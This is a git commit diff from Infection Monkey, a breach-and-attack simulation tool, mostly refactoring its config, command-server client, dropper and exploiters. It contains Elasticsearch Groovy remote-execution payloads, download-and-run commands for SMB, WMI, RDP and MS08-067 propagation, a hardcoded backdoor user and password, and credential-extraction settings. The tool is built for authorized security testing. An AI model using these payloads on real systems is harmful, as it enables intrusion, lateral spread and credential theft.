Merge branch 'develop' into feature/detect-cross-segment-traffic

# Conflicts:
#	infection_monkey/network/network_scanner.py
#	monkey_island/cc/services/report.py
This commit is contained in:
Itay Mizeretz 2018-04-30 20:38:13 +03:00
commit b83ca0536f
74 changed files with 5385 additions and 10381 deletions

View File

@ -39,12 +39,12 @@ The Infection Monkey uses the following techniques and exploits to propagate to
Setup Setup
------------------------------- -------------------------------
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki. Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
Building the Monkey from source Building the Monkey from source
------------------------------- -------------------------------
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/setup) If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).

View File

@ -15,9 +15,17 @@ class NetworkRange(object):
self._shuffle = shuffle self._shuffle = shuffle
def get_range(self): def get_range(self):
return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips """
:return: Returns a sequence of IPs in an internal format (might be numbers)
"""
return self._get_range()
def __iter__(self): def __iter__(self):
"""
Iterator of ip addresses (strings) from the current range.
Use get_range if you want it in one go.
:return:
"""
base_range = self.get_range() base_range = self.get_range()
if self._shuffle: if self._shuffle:
random.shuffle(base_range) random.shuffle(base_range)
@ -66,7 +74,7 @@ class CidrRange(NetworkRange):
return ipaddress.ip_address(ip_address) in self._ip_network return ipaddress.ip_address(ip_address) in self._ip_network
def _get_range(self): def _get_range(self):
return [CidrRange._ip_to_number(str(x)) for x in self._ip_network] return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]
class IpRange(NetworkRange): class IpRange(NetworkRange):
@ -75,24 +83,25 @@ class IpRange(NetworkRange):
if ip_range is not None: if ip_range is not None:
addresses = ip_range.split('-') addresses = ip_range.split('-')
if len(addresses) != 2: if len(addresses) != 2:
raise ValueError('Illegal IP range format: %s' % ip_range) raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
if self._higher_end_ip < self._lower_end_ip:
raise ValueError('Higher end IP is smaller than lower end IP: %s' % ip_range)
elif (lower_end_ip is not None) and (higher_end_ip is not None): elif (lower_end_ip is not None) and (higher_end_ip is not None):
self._lower_end_ip = lower_end_ip self._lower_end_ip = lower_end_ip.strip()
self._higher_end_ip = higher_end_ip self._higher_end_ip = higher_end_ip.strip()
else: else:
raise ValueError('Illegal IP range: %s' % ip_range) raise ValueError('Illegal IP range: %s' % ip_range)
self._lower_end_ip_num = IpRange._ip_to_number(self._lower_end_ip) self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
self._higher_end_ip_num = IpRange._ip_to_number(self._higher_end_ip) self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
if self._higher_end_ip_num < self._lower_end_ip_num:
raise ValueError(
'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))
def __repr__(self): def __repr__(self):
return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip) return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip)
def is_in_range(self, ip_address): def is_in_range(self, ip_address):
return self._lower_end_ip_num <= IpRange._ip_to_number(ip_address) <= self._higher_end_ip_num return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
def _get_range(self): def _get_range(self):
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)

View File

@ -1,4 +1,5 @@
import os import os
import struct
import sys import sys
import types import types
import uuid import uuid
@ -22,9 +23,9 @@ def _cast_by_example(value, example):
""" """
example_type = type(example) example_type = type(example)
if example_type is str: if example_type is str:
return str(os.path.expandvars(value)) return os.path.expandvars(value).encode("utf8")
elif example_type is tuple and len(example) != 0: elif example_type is tuple and len(example) != 0:
if value is None or value == tuple(None): if value is None or value == tuple([None]):
return tuple() return tuple()
return tuple([_cast_by_example(x, example[0]) for x in value]) return tuple([_cast_by_example(x, example[0]) for x in value])
elif example_type is list and len(example) != 0: elif example_type is list and len(example) != 0:
@ -105,6 +106,7 @@ class Configuration(object):
dropper_log_path_linux = '/tmp/user-1562' dropper_log_path_linux = '/tmp/user-1562'
monkey_log_path_windows = '%temp%\\~df1563.tmp' monkey_log_path_windows = '%temp%\\~df1563.tmp'
monkey_log_path_linux = '/tmp/user-1563' monkey_log_path_linux = '/tmp/user-1563'
send_log_to_server = True
########################### ###########################
# dropper config # dropper config
@ -114,7 +116,8 @@ class Configuration(object):
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh' dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path = r"C:\Windows\monkey.exe" dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey' dropper_target_path_linux = '/tmp/monkey'
########################### ###########################
@ -270,5 +273,7 @@ class Configuration(object):
mimikatz_dll_name = "mk.dll" mimikatz_dll_name = "mk.dll"
extract_azure_creds = True
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -4,6 +4,7 @@ import platform
from socket import gethostname from socket import gethostname
import requests import requests
from requests.exceptions import ConnectionError
import monkeyfs import monkeyfs
import tunnel import tunnel
@ -24,10 +25,10 @@ class ControlClient(object):
proxies = {} proxies = {}
@staticmethod @staticmethod
def wakeup(parent=None, default_tunnel=None, has_internet_access=None): def wakeup(parent=None, has_internet_access=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) if parent:
if parent or default_tunnel: LOG.debug("parent: %s" % (parent,))
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
hostname = gethostname() hostname = gethostname()
if not parent: if not parent:
parent = GUID parent = GUID
@ -35,10 +36,6 @@ class ControlClient(object):
if has_internet_access is None: if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services) has_internet_access = check_internet_access(WormConfiguration.internet_services)
for server in WormConfiguration.command_servers:
try:
WormConfiguration.current_server = server
monkey = {'guid': GUID, monkey = {'guid': GUID,
'hostname': hostname, 'hostname': hostname,
'ip_addresses': local_ips(), 'ip_addresses': local_ips(),
@ -50,33 +47,55 @@ class ControlClient(object):
if ControlClient.proxies: if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https') monkey['tunnel'] = ControlClient.proxies.get('https')
debug_message = "Trying to connect to server: %s" % server requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey), data=json.dumps(monkey),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, verify=False,
proxies=ControlClient.proxies, proxies=ControlClient.proxies,
timeout=20) timeout=20)
@staticmethod
def find_server(default_tunnel=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))
current_server = ""
for server in WormConfiguration.command_servers:
try:
current_server = server
debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies)
WormConfiguration.current_server = current_server
break break
except Exception as exc: except ConnectionError as exc:
WormConfiguration.current_server = "" current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc) LOG.warn("Error connecting to control server %s: %s", server, exc)
if not WormConfiguration.current_server: if current_server:
if not ControlClient.proxies: return True
else:
if ControlClient.proxies:
return False
else:
LOG.info("Starting tunnel lookup...") LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel) proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find: if proxy_find:
proxy_address, proxy_port = proxy_find proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) return ControlClient.find_server()
else: else:
LOG.info("No tunnel found") LOG.info("No tunnel found")
return False
@staticmethod @staticmethod
def keepalive(): def keepalive():
@ -111,6 +130,21 @@ class ControlClient(object):
LOG.warn("Error connecting to control server %s: %s", LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
@staticmethod
def send_log(log):
if not WormConfiguration.current_server:
return
try:
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
reply = requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod @staticmethod
def load_control_config(): def load_control_config():
if not WormConfiguration.current_server: if not WormConfiguration.current_server:
@ -234,7 +268,6 @@ class ControlClient(object):
data=json.dumps(host_dict), data=json.dumps(host_dict),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies) verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code: if 200 == reply.status_code:
result_json = reply.json() result_json = reply.json()
filename = result_json.get('filename') filename = result_json.get('filename')

View File

@ -38,7 +38,7 @@ class MonkeyDrops(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
arg_parser.add_argument('-l', '--location') arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:] self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args) self.opts, _ = arg_parser.parse_known_args(args)
@ -53,10 +53,13 @@ class MonkeyDrops(object):
if self._config['destination_path'] is None: if self._config['destination_path'] is None:
LOG.error("No destination path specified") LOG.error("No destination path specified")
return return False
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])
# first try to move the file # first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first: if not file_moved and WormConfiguration.dropper_try_move_first:
@ -105,8 +108,8 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
monkey_options = build_monkey_commandline_explicitly( monkey_options =\
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
@ -130,6 +133,7 @@ class MonkeyDrops(object):
LOG.warn("Seems like monkey died too soon") LOG.warn("Seems like monkey died too soon")
def cleanup(self): def cleanup(self):
try:
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \ os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first: WormConfiguration.dropper_try_move_first:
@ -149,3 +153,5 @@ class MonkeyDrops(object):
else: else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot", LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path']) self._config['source_path'])
except AttributeError:
LOG.error("Invalid configuration options. Failing")

View File

@ -15,6 +15,7 @@
"current_server": "41.50.73.31:5000", "current_server": "41.50.73.31:5000",
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"extract_azure_creds": true,
"depth": 2, "depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
@ -22,7 +23,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path": "C:\\Windows\\monkey.exe", "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
@ -48,6 +50,7 @@
"max_iterations": 3, "max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp", "monkey_log_path_windows": "%temp%\\~df1563.tmp",
"monkey_log_path_linux": "/tmp/user-1563", "monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true,
"ms08_067_exploit_attempts": 5, "ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!", "ms08_067_remote_user_pass": "Password1!",

View File

@ -10,7 +10,7 @@ import logging
import requests import requests
from exploit import HostExploiter from exploit import HostExploiter
from model import MONKEY_ARG from model import DROPPER_ARG
from network.elasticfinger import ES_SERVICE, ES_PORT from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
@ -25,7 +25,7 @@ class ElasticGroovyExploiter(HostExploiter):
MONKEY_RESULT_FIELD = "monkey_result" MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR =\ JAVA_GET_TMP_DIR = \
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY \ JAVA_CMD = GENERIC_QUERY \
@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter):
""" """
Runs the monkey Runs the monkey
""" """
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
cmdline += ' & '
self.run_shell_command(cmdline) self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, src_path, target_path): def download_file_in_linux(self, src_path, target_path):
@ -204,7 +206,7 @@ class ElasticGroovyExploiter(HostExploiter):
""" """
result = self.attack_query(payload) result = self.attack_query(payload)
if not result: # not vulnerable if not result: # not vulnerable
return False return ""
return result[0] return result[0]
def attack_query(self, payload): def attack_query(self, payload):
@ -232,5 +234,5 @@ class ElasticGroovyExploiter(HostExploiter):
try: try:
json_resp = json.loads(response.text) json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError: except (KeyError, IndexError):
return None return None

View File

@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter):
if self._config.rdp_use_vbs_download: if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % { command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
else: else:
command = RDP_CMDLINE_HTTP_BITS % { command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()

View File

@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
user, user,
password, password,
lm_hash, lm_hash,
@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass) self._config.ms08_067_remote_user_pass)
@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter):
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
"Administrator", "Administrator",
password) password)
if remote_full_path: if remote_full_path:
@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
user, user,
password, password,
lm_hash, lm_hash,
@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter):
wmi_connection.close() wmi_connection.close()
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -12,6 +12,7 @@ from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from dropper import MonkeyDrops from dropper import MonkeyDrops
from model import MONKEY_ARG, DROPPER_ARG from model import MONKEY_ARG, DROPPER_ARG
from monkey import InfectionMonkey from monkey import InfectionMonkey
import utils
if __name__ == "__main__": if __name__ == "__main__":
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
@ -78,12 +79,10 @@ def main():
try: try:
if MONKEY_ARG == monkey_mode: if MONKEY_ARG == monkey_mode:
log_path = os.path.expandvars( log_path = utils.get_monkey_log_path()
WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" else WormConfiguration.monkey_log_path_linux
monkey_cls = InfectionMonkey monkey_cls = InfectionMonkey
elif DROPPER_ARG == monkey_mode: elif DROPPER_ARG == monkey_mode:
log_path = os.path.expandvars( log_path = utils.get_dropper_log_path()
WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" else WormConfiguration.dropper_log_path_linux
monkey_cls = MonkeyDrops monkey_cls = MonkeyDrops
else: else:
return True return True
@ -91,6 +90,13 @@ def main():
return True return True
if WormConfiguration.use_file_logging: if WormConfiguration.use_file_logging:
if os.path.exists(log_path):
# If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
try:
os.remove(log_path)
except OSError:
pass
LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['handlers']['file']['filename'] = log_path
LOG_CONFIG['root']['handlers'].append('file') LOG_CONFIG['root']['handlers'].append('file')
else: else:
@ -120,6 +126,8 @@ def main():
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
return True return True
except Exception:
LOG.exception("Exception thrown from monkey's start function")
finally: finally:
monkey.cleanup() monkey.cleanup()

Binary file not shown.

Before

Width:  |  Height:  |  Size: 232 KiB

After

Width:  |  Height:  |  Size: 108 KiB

View File

@ -6,6 +6,7 @@ import sys
import time import time
import tunnel import tunnel
import utils
from config import WormConfiguration from config import WormConfiguration
from control import ControlClient from control import ControlClient
from model import DELAY_DELETE_CMD from model import DELAY_DELETE_CMD
@ -13,6 +14,7 @@ from network.firewall import app as firewall
from network.network_scanner import NetworkScanner from network.network_scanner import NetworkScanner
from system_info import SystemInfoCollector from system_info import SystemInfoCollector
from system_singleton import SystemSingleton from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader
__author__ = 'itamar' __author__ = 'itamar'
@ -34,6 +36,8 @@ class InfectionMonkey(object):
self._fingerprint = None self._fingerprint = None
self._default_server = None self._default_server = None
self._depth = 0 self._depth = 0
self._opts = None
self._upgrading_to_64 = False
def initialize(self): def initialize(self):
LOG.info("Monkey is initializing...") LOG.info("Monkey is initializing...")
@ -45,14 +49,13 @@ class InfectionMonkey(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
opts, self._args = arg_parser.parse_known_args(self._args) self._opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = opts.parent self._parent = self._opts.parent
self._default_tunnel = opts.tunnel self._default_tunnel = self._opts.tunnel
self._default_server = opts.server self._default_server = self._opts.server
if opts.depth: if self._opts.depth:
WormConfiguration.depth = int(opts.depth)
WormConfiguration._depth_from_commandline = True WormConfiguration._depth_from_commandline = True
self._keep_running = True self._keep_running = True
self._network = NetworkScanner() self._network = NetworkScanner()
@ -68,15 +71,27 @@ class InfectionMonkey(object):
def start(self): def start(self):
LOG.info("Monkey is running...") LOG.info("Monkey is running...")
if firewall.is_enabled(): if not ControlClient.find_server(default_tunnel=self._default_tunnel):
firewall.add_firewall_rule() LOG.info("Monkey couldn't find server. Going down.")
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) return
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
self._singleton.unlock()
LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
WindowsUpgrader.upgrade(self._opts)
return
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config() ControlClient.load_control_config()
if not WormConfiguration.alive: if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration") LOG.info("Marked not alive from configuration")
return return
if firewall.is_enabled():
firewall.add_firewall_rule()
monkey_tunnel = ControlClient.create_control_tunnel() monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.start() monkey_tunnel.start()
@ -215,20 +230,31 @@ class InfectionMonkey(object):
LOG.info("Monkey cleanup started") LOG.info("Monkey cleanup started")
self._keep_running = False self._keep_running = False
# Signal the server (before closing the tunnel) if self._upgrading_to_64:
ControlClient.send_telemetry("state", {'done': True}) InfectionMonkey.close_tunnel()
firewall.close()
else:
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
self.send_log()
self._singleton.unlock()
# Close tunnel InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@staticmethod
def close_tunnel():
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
if tunnel_address: if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address) LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address) tunnel.quit_tunnel(tunnel_address)
firewall.close() @staticmethod
def self_delete():
self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \
and -1 == sys.executable.find('python'):
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
try: try:
if "win32" == sys.platform: if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
@ -243,4 +269,12 @@ class InfectionMonkey(object):
except Exception as exc: except Exception as exc:
LOG.error("Exception in self delete: %s", exc) LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down") def send_log(self):
monkey_log_path = utils.get_monkey_log_path()
if os.path.exists(monkey_log_path):
with open(monkey_log_path, 'r') as f:
log = f.read()
else:
log = ''
ControlClient.send_log(log)

View File

@ -8,7 +8,7 @@ import itertools
import netifaces import netifaces
from subprocess import check_output from subprocess import check_output
from random import randint from random import randint
from common.network.range import CidrRange from common.network.network_range import CidrRange
def get_host_subnets(): def get_host_subnets():
@ -143,9 +143,6 @@ def get_interfaces_ranges():
netmask_str = net_interface['netmask'] netmask_str = net_interface['netmask']
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
# limit subnet scans to class C only # limit subnet scans to class C only
